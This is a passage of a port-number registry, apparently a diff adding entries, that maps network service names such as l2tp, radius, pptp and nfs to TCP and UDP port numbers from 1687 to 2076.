nsjtp-ctrl +nsjtp-ctrl 1687/udp nsjtp-ctrl +nsjtp-data 1688/tcp nsjtp-data +nsjtp-data 1688/udp nsjtp-data +firefox 1689/tcp firefox +firefox 1689/udp firefox +ng-umds 1690/tcp ng-umds +ng-umds 1690/udp ng-umds +empire-empuma 1691/tcp empire-empuma +empire-empuma 1691/udp empire-empuma +sstsys-lm 1692/tcp sstsys-lm +sstsys-lm 1692/udp sstsys-lm +rrirtr 1693/tcp rrirtr +rrirtr 1693/udp rrirtr +rrimwm 1694/tcp rrimwm +rrimwm 1694/udp rrimwm +rrilwm 1695/tcp rrilwm +rrilwm 1695/udp rrilwm +rrifmm 1696/tcp rrifmm +rrifmm 1696/udp rrifmm +rrisat 1697/tcp rrisat +rrisat 1697/udp rrisat +rsvp-encap-1 1698/tcp RSVP-ENCAPSULATION-1 +rsvp-encap-1 1698/udp RSVP-ENCAPSULATION-1 +rsvp-encap-2 1699/tcp RSVP-ENCAPSULATION-2 +rsvp-encap-2 1699/udp RSVP-ENCAPSULATION-2 +mps-raft 1700/tcp mps-raft +mps-raft 1700/udp mps-raft +l2f 1701/tcp l2f +l2f 1701/udp l2f +l2tp 1701/tcp l2tp +l2tp 1701/udp l2tp +deskshare 1702/tcp deskshare +deskshare 1702/udp deskshare +hb-engine 1703/tcp hb-engine +hb-engine 1703/udp hb-engine +bcs-broker 1704/tcp bcs-broker +bcs-broker 1704/udp bcs-broker +slingshot 1705/tcp slingshot +slingshot 1705/udp slingshot +jetform 1706/tcp jetform +jetform 1706/udp jetform +vdmplay 1707/tcp vdmplay +vdmplay 1707/udp vdmplay +gat-lmd 1708/tcp gat-lmd +gat-lmd 1708/udp gat-lmd +centra 1709/tcp centra +centra 1709/udp centra +impera 1710/tcp impera +impera 1710/udp impera +pptconference 1711/tcp pptconference +pptconference 1711/udp pptconference +registrar 1712/tcp resource monitoring service +registrar 1712/udp resource monitoring service +conferencetalk 1713/tcp ConferenceTalk +conferencetalk 1713/udp ConferenceTalk +sesi-lm 1714/tcp sesi-lm +sesi-lm 1714/udp sesi-lm +houdini-lm 1715/tcp houdini-lm +houdini-lm 1715/udp houdini-lm +xmsg 1716/tcp xmsg +xmsg 1716/udp xmsg +fj-hdnet 1717/tcp fj-hdnet +fj-hdnet 1717/udp fj-hdnet +h323gatedisc 1718/tcp h323gatedisc +h323gatedisc 1718/udp h323gatedisc +h323gatestat 1719/tcp h323gatestat +h323gatestat 1719/udp h323gatestat +h323hostcall 1720/tcp h323hostcall +h323hostcall 1720/udp h323hostcall +caicci 1721/tcp caicci +caicci 1721/udp caicci +hks-lm 1722/tcp HKS License Manager +hks-lm 1722/udp HKS License Manager +pptp 1723/tcp pptp +pptp 1723/udp pptp +csbphonemaster 1724/tcp csbphonemaster +csbphonemaster 1724/udp csbphonemaster +iden-ralp 1725/tcp iden-ralp +iden-ralp 1725/udp iden-ralp +iberiagames 1726/tcp IBERIAGAMES +iberiagames 1726/udp IBERIAGAMES +winddx 1727/tcp winddx +winddx 1727/udp winddx +telindus 1728/tcp TELINDUS +telindus 1728/udp TELINDUS +citynl 1729/tcp CityNL License Management +citynl 1729/udp CityNL License Management +roketz 1730/tcp roketz +roketz 1730/udp roketz +msiccp 1731/tcp MSICCP +msiccp 1731/udp MSICCP +proxim 1732/tcp proxim +proxim 1732/udp proxim +siipat 1733/tcp SIMS - SIIPAT Protocol for Alarm Transmission +siipat 1733/udp SIMS - SIIPAT Protocol for Alarm Transmission +cambertx-lm 1734/tcp Camber Corporation License Management +cambertx-lm 1734/udp Camber Corporation License Management +privatechat 1735/tcp PrivateChat +privatechat 1735/udp PrivateChat +street-stream 1736/tcp street-stream +street-stream 1736/udp street-stream +ultimad 1737/tcp ultimad +ultimad 1737/udp ultimad +gamegen1 1738/tcp GameGen1 +gamegen1 1738/udp GameGen1 +webaccess 1739/tcp webaccess +webaccess 1739/udp webaccess +encore 1740/tcp encore +encore 1740/udp encore +cisco-net-mgmt 1741/tcp cisco-net-mgmt +cisco-net-mgmt 1741/udp cisco-net-mgmt +3Com-nsd 1742/tcp 3Com-nsd +3Com-nsd 1742/udp 3Com-nsd +cinegrfx-lm 1743/tcp Cinema Graphics License Manager +cinegrfx-lm 1743/udp Cinema Graphics License Manager +ncpm-ft 1744/tcp ncpm-ft +ncpm-ft 1744/udp ncpm-ft +remote-winsock 1745/tcp remote-winsock +remote-winsock 1745/udp remote-winsock +ftrapid-1 1746/tcp ftrapid-1 +ftrapid-1 1746/udp ftrapid-1 +ftrapid-2 1747/tcp ftrapid-2 +ftrapid-2 1747/udp ftrapid-2 +oracle-em1 1748/tcp oracle-em1 +oracle-em1 1748/udp oracle-em1 +aspen-services 1749/tcp aspen-services +aspen-services 1749/udp aspen-services +sslp 1750/tcp Simple Socket Library's PortMaster +sslp 1750/udp Simple Socket Library's PortMaster +swiftnet 1751/tcp SwiftNet +swiftnet 1751/udp SwiftNet +lofr-lm 1752/tcp Leap of Faith Research License Manager +lofr-lm 1752/udp Leap of Faith Research License Manager +oracle-em2 1754/tcp oracle-em2 +oracle-em2 1754/udp oracle-em2 +ms-streaming 1755/tcp ms-streaming +ms-streaming 1755/udp ms-streaming +capfast-lmd 1756/tcp capfast-lmd +capfast-lmd 1756/udp capfast-lmd +cnhrp 1757/tcp cnhrp +cnhrp 1757/udp cnhrp +tftp-mcast 1758/tcp tftp-mcast +tftp-mcast 1758/udp tftp-mcast +spss-lm 1759/tcp SPSS License Manager +spss-lm 1759/udp SPSS License Manager +www-ldap-gw 1760/tcp www-ldap-gw +www-ldap-gw 1760/udp www-ldap-gw +cft-0 1761/tcp cft-0 +cft-0 1761/udp cft-0 +cft-1 1762/tcp cft-1 +cft-1 1762/udp cft-1 +cft-2 1763/tcp cft-2 +cft-2 1763/udp cft-2 +cft-3 1764/tcp cft-3 +cft-3 1764/udp cft-3 +cft-4 1765/tcp cft-4 +cft-4 1765/udp cft-4 +cft-5 1766/tcp cft-5 +cft-5 1766/udp cft-5 +cft-6 1767/tcp cft-6 +cft-6 1767/udp cft-6 +cft-7 1768/tcp cft-7 +cft-7 1768/udp cft-7 +bmc-net-adm 1769/tcp bmc-net-adm +bmc-net-adm 1769/udp bmc-net-adm +bmc-net-svc 1770/tcp bmc-net-svc +bmc-net-svc 1770/udp bmc-net-svc +vaultbase 1771/tcp vaultbase +vaultbase 1771/udp vaultbase +essweb-gw 1772/tcp EssWeb Gateway +essweb-gw 1772/udp EssWeb Gateway +kmscontrol 1773/tcp KMSControl +kmscontrol 1773/udp KMSControl +global-dtserv 1774/tcp global-dtserv +global-dtserv 1774/udp global-dtserv +femis 1776/tcp Federal Emergency Management Information System +femis 1776/udp Federal Emergency Management Information System +powerguardian 1777/tcp powerguardian +powerguardian 1777/udp powerguardian +prodigy-intrnet 1778/tcp prodigy-internet +prodigy-intrnet 1778/udp prodigy-internet +pharmasoft 1779/tcp pharmasoft +pharmasoft 1779/udp pharmasoft +dpkeyserv 1780/tcp dpkeyserv +dpkeyserv 1780/udp dpkeyserv +answersoft-lm 1781/tcp answersoft-lm +answersoft-lm 1781/udp answersoft-lm +hp-hcip 1782/tcp hp-hcip +hp-hcip 1782/udp hp-hcip +finle-lm 1784/tcp Finle License Manager +finle-lm 1784/udp Finle License Manager +windlm 1785/tcp Wind River Systems License Manager +windlm 1785/udp Wind River Systems License Manager +funk-logger 1786/tcp funk-logger +funk-logger 1786/udp funk-logger +funk-license 1787/tcp funk-license +funk-license 1787/udp funk-license +psmond 1788/tcp psmond +psmond 1788/udp psmond +hello 1789/tcp hello +hello 1789/udp hello +nmsp 1790/tcp Narrative Media Streaming Protocol +nmsp 1790/udp Narrative Media Streaming Protocol +ea1 1791/tcp EA1 +ea1 1791/udp EA1 +ibm-dt-2 1792/tcp ibm-dt-2 +ibm-dt-2 1792/udp ibm-dt-2 +rsc-robot 1793/tcp rsc-robot +rsc-robot 1793/udp rsc-robot +cera-bcm 1794/tcp cera-bcm +cera-bcm 1794/udp cera-bcm +dpi-proxy 1795/tcp dpi-proxy +dpi-proxy 1795/udp dpi-proxy +vocaltec-admin 1796/tcp Vocaltec Server Administration +vocaltec-admin 1796/udp Vocaltec Server Administration +uma 1797/tcp UMA +uma 1797/udp UMA +etp 1798/tcp Event Transfer Protocol +etp 1798/udp Event Transfer Protocol +netrisk 1799/tcp NETRISK +netrisk 1799/udp NETRISK +ansys-lm 1800/tcp ANSYS-License manager +ansys-lm 1800/udp ANSYS-License manager +msmq 1801/tcp Microsoft Message Que +msmq 1801/udp Microsoft Message Que +concomp1 1802/tcp ConComp1 +concomp1 1802/udp ConComp1 +hp-hcip-gwy 1803/tcp HP-HCIP-GWY +hp-hcip-gwy 1803/udp HP-HCIP-GWY +enl 1804/tcp ENL +enl 1804/udp ENL +enl-name 1805/tcp ENL-Name +enl-name 1805/udp ENL-Name +musiconline 1806/tcp Musiconline +musiconline 1806/udp Musiconline +fhsp 1807/tcp Fujitsu Hot Standby Protocol +fhsp 1807/udp Fujitsu Hot Standby Protocol +oracle-vp2 1808/tcp Oracle-VP2 +oracle-vp2 1808/udp Oracle-VP2 +oracle-vp1 1809/tcp Oracle-VP1 +oracle-vp1 1809/udp Oracle-VP1 +jerand-lm 1810/tcp Jerand License Manager +jerand-lm 1810/udp Jerand License Manager +scientia-sdb 1811/tcp Scientia-SDB +scientia-sdb 1811/udp Scientia-SDB +radius 1812/tcp RADIUS +radius 1812/udp RADIUS +radius-acct 1813/tcp RADIUS Accounting +radius-acct 1813/udp RADIUS Accounting +tdp-suite 1814/tcp TDP Suite +tdp-suite 1814/udp TDP Suite +mmpft 1815/tcp MMPFT +mmpft 1815/udp MMPFT +harp 1816/tcp HARP +harp 1816/udp HARP +rkb-oscs 1817/tcp RKB-OSCS +rkb-oscs 1817/udp RKB-OSCS +etftp 1818/tcp Enhanced Trivial File Transfer Protocol +etftp 1818/udp Enhanced Trivial File Transfer Protocol +plato-lm 1819/tcp Plato License Manager +plato-lm 1819/udp Plato License Manager +mcagent 1820/tcp mcagent +mcagent 1820/udp mcagent +donnyworld 1821/tcp donnyworld +donnyworld 1821/udp donnyworld +es-elmd 1822/tcp es-elmd +es-elmd 1822/udp es-elmd +unisys-lm 1823/tcp Unisys Natural Language License Manager +unisys-lm 1823/udp Unisys Natural Language License Manager +metrics-pas 1824/tcp metrics-pas +metrics-pas 1824/udp metrics-pas +direcpc-video 1825/tcp DirecPC Video +direcpc-video 1825/udp DirecPC Video +ardt 1826/tcp ARDT +ardt 1826/udp ARDT +asi 1827/tcp ASI +asi 1827/udp ASI +itm-mcell-u 1828/tcp itm-mcell-u +itm-mcell-u 1828/udp itm-mcell-u +optika-emedia 1829/tcp Optika eMedia +optika-emedia 1829/udp Optika eMedia +net8-cman 1830/tcp Oracle Net8 CMan Admin +net8-cman 1830/udp Oracle Net8 CMan Admin +myrtle 1831/tcp Myrtle +myrtle 1831/udp Myrtle +tht-treasure 1832/tcp ThoughtTreasure +tht-treasure 1832/udp ThoughtTreasure +udpradio 1833/tcp udpradio +udpradio 1833/udp udpradio +ardusuni 1834/tcp ARDUS Unicast +ardusuni 1834/udp ARDUS Unicast +ardusmul 1835/tcp ARDUS Multicast +ardusmul 1835/udp ARDUS Multicast +ste-smsc 1836/tcp ste-smsc +ste-smsc 1836/udp ste-smsc +csoft1 1837/tcp csoft1 +csoft1 1837/udp csoft1 +talnet 1838/tcp TALNET +talnet 1838/udp TALNET +netopia-vo1 1839/tcp netopia-vo1 +netopia-vo1 1839/udp netopia-vo1 +netopia-vo2 1840/tcp netopia-vo2 +netopia-vo2 1840/udp netopia-vo2 +netopia-vo3 1841/tcp netopia-vo3 +netopia-vo3 1841/udp netopia-vo3 +netopia-vo4 1842/tcp netopia-vo4 +netopia-vo4 1842/udp netopia-vo4 +netopia-vo5 1843/tcp netopia-vo5 +netopia-vo5 1843/udp netopia-vo5 +direcpc-dll 1844/tcp DirecPC-DLL +direcpc-dll 1844/udp DirecPC-DLL +altalink 1845/tcp altalink +altalink 1845/udp altalink +tunstall-pnc 1846/tcp Tunstall PNC +tunstall-pnc 1846/udp Tunstall PNC +slp-notify 1847/tcp SLP Notification +slp-notify 1847/udp SLP Notification +fjdocdist 1848/tcp fjdocdist +fjdocdist 1848/udp fjdocdist +alpha-sms 1849/tcp ALPHA-SMS +alpha-sms 1849/udp ALPHA-SMS +gsi 1850/tcp GSI +gsi 1850/udp GSI +ctcd 1851/tcp ctcd +ctcd 1851/udp ctcd +virtual-time 1852/tcp Virtual Time +virtual-time 1852/udp Virtual Time +vids-avtp 1853/tcp VIDS-AVTP +vids-avtp 1853/udp VIDS-AVTP +buddy-draw 1854/tcp Buddy Draw +buddy-draw 1854/udp Buddy Draw +fiorano-rtrsvc 1855/tcp Fiorano RtrSvc +fiorano-rtrsvc 1855/udp Fiorano RtrSvc +fiorano-msgsvc 1856/tcp Fiorano MsgSvc +fiorano-msgsvc 1856/udp Fiorano MsgSvc +datacaptor 1857/tcp DataCaptor +datacaptor 1857/udp DataCaptor +privateark 1858/tcp PrivateArk +privateark 1858/udp PrivateArk +gammafetchsvr 1859/tcp Gamma Fetcher Server +gammafetchsvr 1859/udp Gamma Fetcher Server +sunscalar-svc 1860/tcp SunSCALAR Services +sunscalar-svc 1860/udp SunSCALAR Services +lecroy-vicp 1861/tcp LeCroy VICP +lecroy-vicp 1861/udp LeCroy VICP +techra-server 1862/tcp techra-server +techra-server 1862/udp techra-server +msnp 1863/tcp MSNP +msnp 1863/udp MSNP +paradym-31port 1864/tcp Paradym 31 Port +paradym-31port 1864/udp Paradym 31 Port +entp 1865/tcp ENTP +entp 1865/udp ENTP +swrmi 1866/tcp swrmi +swrmi 1866/udp swrmi +udrive 1867/tcp UDRIVE +udrive 1867/udp UDRIVE +viziblebrowser 1868/tcp VizibleBrowser +viziblebrowser 1868/udp VizibleBrowser +yestrader 1869/tcp YesTrader +yestrader 1869/udp YesTrader +sunscalar-dns 1870/tcp SunSCALAR DNS Service +sunscalar-dns 1870/udp SunSCALAR DNS Service +canocentral0 1871/tcp Cano Central 0 +canocentral0 1871/udp Cano Central 0 +canocentral1 1872/tcp Cano Central 1 +canocentral1 1872/udp Cano Central 1 +fjmpjps 1873/tcp Fjmpjps +fjmpjps 1873/udp Fjmpjps +fjswapsnp 1874/tcp Fjswapsnp +fjswapsnp 1874/udp Fjswapsnp +westell-stats 1875/tcp westell stats +westell-stats 1875/udp westell stats +ewcappsrv 1876/tcp ewcappsrv +ewcappsrv 1876/udp ewcappsrv +hp-webqosdb 1877/tcp hp-webqosdb +hp-webqosdb 1877/udp hp-webqosdb +drmsmc 1878/tcp drmsmc +drmsmc 1878/udp drmsmc +nettgain-nms 1879/tcp NettGain NMS +nettgain-nms 1879/udp NettGain NMS +vsat-control 1880/tcp Gilat VSAT Control +vsat-control 1880/udp Gilat VSAT Control +ibm-mqseries2 1881/tcp IBM WebSphere MQ Everyplace +ibm-mqseries2 1881/udp IBM WebSphere MQ Everyplace +ecsqdmn 1882/tcp ecsqdmn +ecsqdmn 1882/udp ecsqdmn +ibm-mqisdp 1883/tcp IBM MQSeries SCADA +ibm-mqisdp 1883/udp IBM MQSeries SCADA +idmaps 1884/tcp Internet Distance Map Svc +idmaps 1884/udp Internet Distance Map Svc +vrtstrapserver 1885/tcp Veritas Trap Server +vrtstrapserver 1885/udp Veritas Trap Server +leoip 1886/tcp Leonardo over IP +leoip 1886/udp Leonardo over IP +filex-lport 1887/tcp FileX Listening Port +filex-lport 1887/udp FileX Listening Port +ncconfig 1888/tcp NC Config Port +ncconfig 1888/udp NC Config Port +unify-adapter 1889/tcp Unify Web Adapter Service +unify-adapter 1889/udp Unify Web Adapter Service +wilkenlistener 1890/tcp wilkenListener +wilkenlistener 1890/udp wilkenListener +childkey-notif 1891/tcp ChildKey Notification +childkey-notif 1891/udp ChildKey Notification +childkey-ctrl 1892/tcp ChildKey Control +childkey-ctrl 1892/udp ChildKey Control +elad 1893/tcp ELAD Protocol +elad 1893/udp ELAD Protocol +o2server-port 1894/tcp O2Server Port +o2server-port 1894/udp O2Server Port +b-novative-ls 1896/tcp b-novative license server +b-novative-ls 1896/udp b-novative license server +metaagent 1897/tcp MetaAgent +metaagent 1897/udp MetaAgent +cymtec-port 1898/tcp Cymtec secure management +cymtec-port 1898/udp Cymtec secure management +mc2studios 1899/tcp MC2Studios +mc2studios 1899/udp MC2Studios +ssdp 1900/tcp SSDP +ssdp 1900/udp SSDP +fjicl-tep-a 1901/tcp Fujitsu ICL Terminal Emulator Program A +fjicl-tep-a 1901/udp Fujitsu ICL Terminal Emulator Program A +fjicl-tep-b 1902/tcp Fujitsu ICL Terminal Emulator Program B +fjicl-tep-b 1902/udp Fujitsu ICL Terminal Emulator Program B +linkname 1903/tcp Local Link Name Resolution +linkname 1903/udp Local Link Name Resolution +fjicl-tep-c 1904/tcp Fujitsu ICL Terminal Emulator Program C +fjicl-tep-c 1904/udp Fujitsu ICL Terminal Emulator Program C +sugp 1905/tcp Secure UP.Link Gateway Protocol +sugp 1905/udp Secure UP.Link Gateway Protocol +tpmd 1906/tcp TPortMapperReq +tpmd 1906/udp TPortMapperReq +intrastar 1907/tcp IntraSTAR +intrastar 1907/udp IntraSTAR +dawn 1908/tcp Dawn +dawn 1908/udp Dawn +global-wlink 1909/tcp Global World Link +global-wlink 1909/udp Global World Link +ultrabac 1910/tcp UltraBac Software communications port +ultrabac 1910/udp UltraBac Software communications port +mtp 1911/tcp Starlight Networks Multimedia Transport Protocol +mtp 1911/udp Starlight Networks Multimedia Transport Protocol +rhp-iibp 1912/tcp rhp-iibp +rhp-iibp 1912/udp rhp-iibp +armadp 1913/tcp armadp +armadp 1913/udp armadp +elm-momentum 1914/tcp Elm-Momentum +elm-momentum 1914/udp Elm-Momentum +facelink 1915/tcp FACELINK +facelink 1915/udp FACELINK +persona 1916/tcp Persoft Persona +persona 1916/udp Persoft Persona +noagent 1917/tcp nOAgent +noagent 1917/udp nOAgent +can-nds 1918/tcp Candle Directory Service - NDS +can-nds 1918/udp Candle Directory Service - NDS +can-dch 1919/tcp Candle Directory Service - DCH +can-dch 1919/udp Candle Directory Service - DCH +can-ferret 1920/tcp Candle Directory Service - FERRET +can-ferret 1920/udp Candle Directory Service - FERRET +noadmin 1921/tcp NoAdmin +noadmin 1921/udp NoAdmin +tapestry 1922/tcp Tapestry +tapestry 1922/udp Tapestry +spice 1923/tcp SPICE +spice 1923/udp SPICE +xiip 1924/tcp XIIP +xiip 1924/udp XIIP +discovery-port 1925/tcp Surrogate Discovery Port +discovery-port 1925/udp Surrogate Discovery Port +egs 1926/tcp Evolution Game Server +egs 1926/udp Evolution Game Server +videte-cipc 1927/tcp Videte CIPC Port +videte-cipc 1927/udp Videte CIPC Port +emsd-port 1928/tcp Expnd Maui Srvr Dscovr +emsd-port 1928/udp Expnd Maui Srvr Dscovr +bandwiz-system 1929/tcp Bandwiz System - Server +bandwiz-system 1929/udp Bandwiz System - Server +driveappserver 1930/tcp Drive AppServer +driveappserver 1930/udp Drive AppServer +amdsched 1931/tcp AMD SCHED +amdsched 1931/udp AMD SCHED +ctt-broker 1932/tcp CTT Broker +ctt-broker 1932/udp CTT Broker +xmapi 1933/tcp IBM LM MT Agent +xmapi 1933/udp IBM LM MT Agent +xaapi 1934/tcp IBM LM Appl Agent +xaapi 1934/udp IBM LM Appl Agent +macromedia-fcs 1935/tcp Macromedia Flash Communications Server MX +macromedia-fcs 1935/udp Macromedia Flash Communications server MX +jetcmeserver 1936/tcp JetCmeServer Server Port +jetcmeserver 1936/udp JetCmeServer Server Port +jwserver 1937/tcp JetVWay Server Port +jwserver 1937/udp JetVWay Server Port +jwclient 1938/tcp JetVWay Client Port +jwclient 1938/udp JetVWay Client Port +jvserver 1939/tcp JetVision Server Port +jvserver 1939/udp JetVision Server Port +jvclient 1940/tcp JetVision Client Port +jvclient 1940/udp JetVision Client Port +dic-aida 1941/tcp DIC-Aida +dic-aida 1941/udp DIC-Aida +res 1942/tcp Real Enterprise Service +res 1942/udp Real Enterprise Service +beeyond-media 1943/tcp Beeyond Media +beeyond-media 1943/udp Beeyond Media +close-combat 1944/tcp close-combat +close-combat 1944/udp close-combat +dialogic-elmd 1945/tcp dialogic-elmd +dialogic-elmd 1945/udp dialogic-elmd +tekpls 1946/tcp tekpls +tekpls 1946/udp tekpls +hlserver 1947/tcp hlserver +hlserver 1947/udp hlserver +eye2eye 1948/tcp eye2eye +eye2eye 1948/udp eye2eye +ismaeasdaqlive 1949/tcp ISMA Easdaq Live +ismaeasdaqlive 1949/udp ISMA Easdaq Live +ismaeasdaqtest 1950/tcp ISMA Easdaq Test +ismaeasdaqtest 1950/udp ISMA Easdaq Test +bcs-lmserver 1951/tcp bcs-lmserver +bcs-lmserver 1951/udp bcs-lmserver +mpnjsc 1952/tcp mpnjsc +mpnjsc 1952/udp mpnjsc +rapidbase 1953/tcp Rapid Base +rapidbase 1953/udp Rapid Base +abr-basic 1954/tcp ABR-Basic Data +abr-basic 1954/udp ABR-Basic Data +abr-secure 1955/tcp ABR-Secure Data +abr-secure 1955/udp ABR-Secure Data +vrtl-vmf-ds 1956/tcp Vertel VMF DS +vrtl-vmf-ds 1956/udp Vertel VMF DS +unix-status 1957/tcp unix-status +unix-status 1957/udp unix-status +dxadmind 1958/tcp CA Administration Daemon +dxadmind 1958/udp CA Administration Daemon +simp-all 1959/tcp SIMP Channel +simp-all 1959/udp SIMP Channel +nasmanager 1960/tcp Merit DAC NASmanager +nasmanager 1960/udp Merit DAC NASmanager +bts-appserver 1961/tcp BTS APPSERVER +bts-appserver 1961/udp BTS APPSERVER +biap-mp 1962/tcp BIAP-MP +biap-mp 1962/udp BIAP-MP +webmachine 1963/tcp WebMachine +webmachine 1963/udp WebMachine +solid-e-engine 1964/tcp SOLID E ENGINE +solid-e-engine 1964/udp SOLID E ENGINE +tivoli-npm 1965/tcp Tivoli NPM +tivoli-npm 1965/udp Tivoli NPM +slush 1966/tcp Slush +slush 1966/udp Slush +sns-quote 1967/tcp SNS Quote +sns-quote 1967/udp SNS Quote +lipsinc 1968/tcp LIPSinc +lipsinc 1968/udp LIPSinc +lipsinc1 1969/tcp LIPSinc 1 +lipsinc1 1969/udp LIPSinc 1 +netop-rc 1970/tcp NetOp Remote Control +netop-rc 1970/udp NetOp Remote Control +netop-school 1971/tcp NetOp School +netop-school 1971/udp NetOp School +intersys-cache 1972/tcp Cache +intersys-cache 1972/udp Cache +dlsrap 1973/tcp Data Link Switching Remote Access Protocol +dlsrap 1973/udp Data Link Switching Remote Access Protocol +drp 1974/tcp DRP +drp 1974/udp DRP +tcoflashagent 1975/tcp TCO Flash Agent +tcoflashagent 1975/udp TCO Flash Agent +tcoregagent 1976/tcp TCO Reg Agent +tcoregagent 1976/udp TCO Reg Agent +tcoaddressbook 1977/tcp TCO Address Book +tcoaddressbook 1977/udp TCO Address Book +unisql 1978/tcp UniSQL +unisql 1978/udp UniSQL +unisql-java 1979/tcp UniSQL Java +unisql-java 1979/udp UniSQL Java +pearldoc-xact 1980/tcp PearlDoc XACT +pearldoc-xact 1980/udp PearlDoc XACT +p2pq 1981/tcp p2pQ +p2pq 1981/udp p2pQ +estamp 1982/tcp Evidentiary Timestamp +estamp 1982/udp Evidentiary Timestamp +lhtp 1983/tcp Loophole Test Protocol +lhtp 1983/udp Loophole Test Protocol +bb 1984/tcp BB +bb 1984/udp BB +hsrp 1985/tcp Hot Standby Router Protocol +hsrp 1985/udp Hot Standby Router Protocol +licensedaemon 1986/tcp cisco license management +licensedaemon 1986/udp cisco license management +tr-rsrb-p1 1987/tcp cisco RSRB Priority 1 port +tr-rsrb-p1 1987/udp cisco RSRB Priority 1 port +tr-rsrb-p2 1988/tcp cisco RSRB Priority 2 port +tr-rsrb-p2 1988/udp cisco RSRB Priority 2 port +tr-rsrb-p3 1989/tcp cisco RSRB Priority 3 port +tr-rsrb-p3 1989/udp cisco RSRB Priority 3 port +mshnet 1989/tcp MHSnet system +mshnet 1989/udp MHSnet system +stun-p1 1990/tcp cisco STUN Priority 1 port +stun-p1 1990/udp cisco STUN Priority 1 port +stun-p2 1991/tcp cisco STUN Priority 2 port +stun-p2 1991/udp cisco STUN Priority 2 port +stun-p3 1992/tcp cisco STUN Priority 3 port +stun-p3 1992/udp cisco STUN Priority 3 port +ipsendmsg 1992/tcp IPsendmsg +ipsendmsg 1992/udp IPsendmsg +snmp-tcp-port 1993/tcp cisco SNMP TCP port +snmp-tcp-port 1993/udp cisco SNMP TCP port +stun-port 1994/tcp cisco serial tunnel port +stun-port 1994/udp cisco serial tunnel port +perf-port 1995/tcp cisco perf port +perf-port 1995/udp cisco perf port +tr-rsrb-port 1996/tcp cisco Remote SRB port +tr-rsrb-port 1996/udp cisco Remote SRB port +gdp-port 1997/tcp cisco Gateway Discovery Protocol +gdp-port 1997/udp cisco Gateway Discovery Protocol +x25-svc-port 1998/tcp cisco X.25 service (XOT) +x25-svc-port 1998/udp cisco X.25 service (XOT) +tcp-id-port 1999/tcp cisco identification port +tcp-id-port 1999/udp cisco identification port +cisco-sccp 2000/tcp Cisco SCCP +cisco-sccp 2000/udp Cisco SCCp +dc 2001/tcp +wizard 2001/udp curry +globe 2002/tcp +globe 2002/udp +mailbox 2004/tcp +emce 2004/udp CCWS mm conf +berknet 2005/tcp +oracle 2005/udp +invokator 2006/tcp +raid-cd 2006/udp raid +dectalk 2007/tcp +raid-am 2007/udp +conf 2008/tcp +terminaldb 2008/udp +news 2009/tcp +whosockami 2009/udp +search 2010/tcp +pipe_server 2010/udp +raid-cc 2011/tcp raid +servserv 2011/udp +ttyinfo 2012/tcp +raid-ac 2012/udp +raid-am 2013/tcp +raid-cd 2013/udp +troff 2014/tcp +raid-sf 2014/udp +cypress 2015/tcp +raid-cs 2015/udp +bootserver 2016/tcp +bootserver 2016/udp +cypress-stat 2017/tcp +bootclient 2017/udp +terminaldb 2018/tcp +rellpack 2018/udp +whosockami 2019/tcp +about 2019/udp +xinupageserver 2020/tcp +xinupageserver 2020/udp +servexec 2021/tcp +xinuexpansion1 2021/udp +down 2022/tcp +xinuexpansion2 2022/udp +xinuexpansion3 2023/tcp +xinuexpansion3 2023/udp +xinuexpansion4 2024/tcp +xinuexpansion4 2024/udp +ellpack 2025/tcp +xribs 2025/udp +scrabble 2026/tcp +scrabble 2026/udp +shadowserver 2027/tcp +shadowserver 2027/udp +submitserver 2028/tcp +submitserver 2028/udp +device2 2030/tcp +device2 2030/udp +blackboard 2032/tcp +blackboard 2032/udp +glogger 2033/tcp +glogger 2033/udp +scoremgr 2034/tcp +scoremgr 2034/udp +imsldoc 2035/tcp +imsldoc 2035/udp +p2plus 2037/tcp P2plus Application Server +p2plus 2037/udp P2plus Application Server +objectmanager 2038/tcp +objectmanager 2038/udp +lam 2040/tcp +lam 2040/udp +interbase 2041/tcp +interbase 2041/udp +isis 2042/tcp isis +isis 2042/udp isis +isis-bcast 2043/tcp isis-bcast +isis-bcast 2043/udp isis-bcast +rimsl 2044/tcp +rimsl 2044/udp +cdfunc 2045/tcp +cdfunc 2045/udp +sdfunc 2046/tcp +sdfunc 2046/udp +dls 2047/tcp +dls 2047/udp +dls-monitor 2048/tcp +dls-monitor 2048/udp +shilp 2049/tcp +shilp 2049/udp +nfs 2049/tcp Network File System - Sun Microsystems +nfs 2049/udp Network File System - Sun Microsystems +av-emb-config 2050/tcp Avaya EMB Config Port +av-emb-config 2050/udp Avaya EMB Config Port +epnsdp 2051/tcp EPNSDP +epnsdp 2051/udp EPNSDP +clearvisn 2052/tcp clearVisn Services Port +clearvisn 2052/udp clearVisn Services Port +lot105-ds-upd 2053/tcp Lot105 DSuper Updates +lot105-ds-upd 2053/udp Lot105 DSuper Updates +weblogin 2054/tcp Weblogin Port +weblogin 2054/udp Weblogin Port +iop 2055/tcp Iliad-Odyssey Protocol +iop 2055/udp Iliad-Odyssey Protocol +omnisky 2056/tcp OmniSky Port +omnisky 2056/udp OmniSky Port +rich-cp 2057/tcp Rich Content Protocol +rich-cp 2057/udp Rich Content Protocol +newwavesearch 2058/tcp NewWaveSearchables RMI +newwavesearch 2058/udp NewWaveSearchables RMI +bmc-messaging 2059/tcp BMC Messaging Service +bmc-messaging 2059/udp BMC Messaging Service +teleniumdaemon 2060/tcp Telenium Daemon IF +teleniumdaemon 2060/udp Telenium Daemon IF +netmount 2061/tcp NetMount +netmount 2061/udp NetMount +icg-swp 2062/tcp ICG SWP Port +icg-swp 2062/udp ICG SWP Port +icg-bridge 2063/tcp ICG Bridge Port +icg-bridge 2063/udp ICG Bridge Port +icg-iprelay 2064/tcp ICG IP Relay Port +icg-iprelay 2064/udp ICG IP Relay Port +dlsrpn 2065/tcp Data Link Switch Read Port Number +dlsrpn 2065/udp Data Link Switch Read Port Number +dlswpn 2067/tcp Data Link Switch Write Port Number +dlswpn 2067/udp Data Link Switch Write Port Number +avauthsrvprtcl 2068/tcp Avocent AuthSrv Protocol +avauthsrvprtcl 2068/udp Avocent AuthSrv Protocol +event-port 2069/tcp HTTP Event Port +event-port 2069/udp HTTP Event Port +ah-esp-encap 2070/tcp AH and ESP Encapsulated in UDP packet +ah-esp-encap 2070/udp AH and ESP Encapsulated in UDP packet +acp-port 2071/tcp Axon Control Protocol +acp-port 2071/udp Axon Control Protocol +msync 2072/tcp GlobeCast mSync +msync 2072/udp GlobeCast mSync +gxs-data-port 2073/tcp DataReel Database Socket +gxs-data-port 2073/udp DataReel Database Socket +vrtl-vmf-sa 2074/tcp Vertel VMF SA +vrtl-vmf-sa 2074/udp Vertel VMF SA +newlixengine 2075/tcp Newlix ServerWare Engine +newlixengine 2075/udp Newlix ServerWare Engine +newlixconfig 2076/tcp Newlix 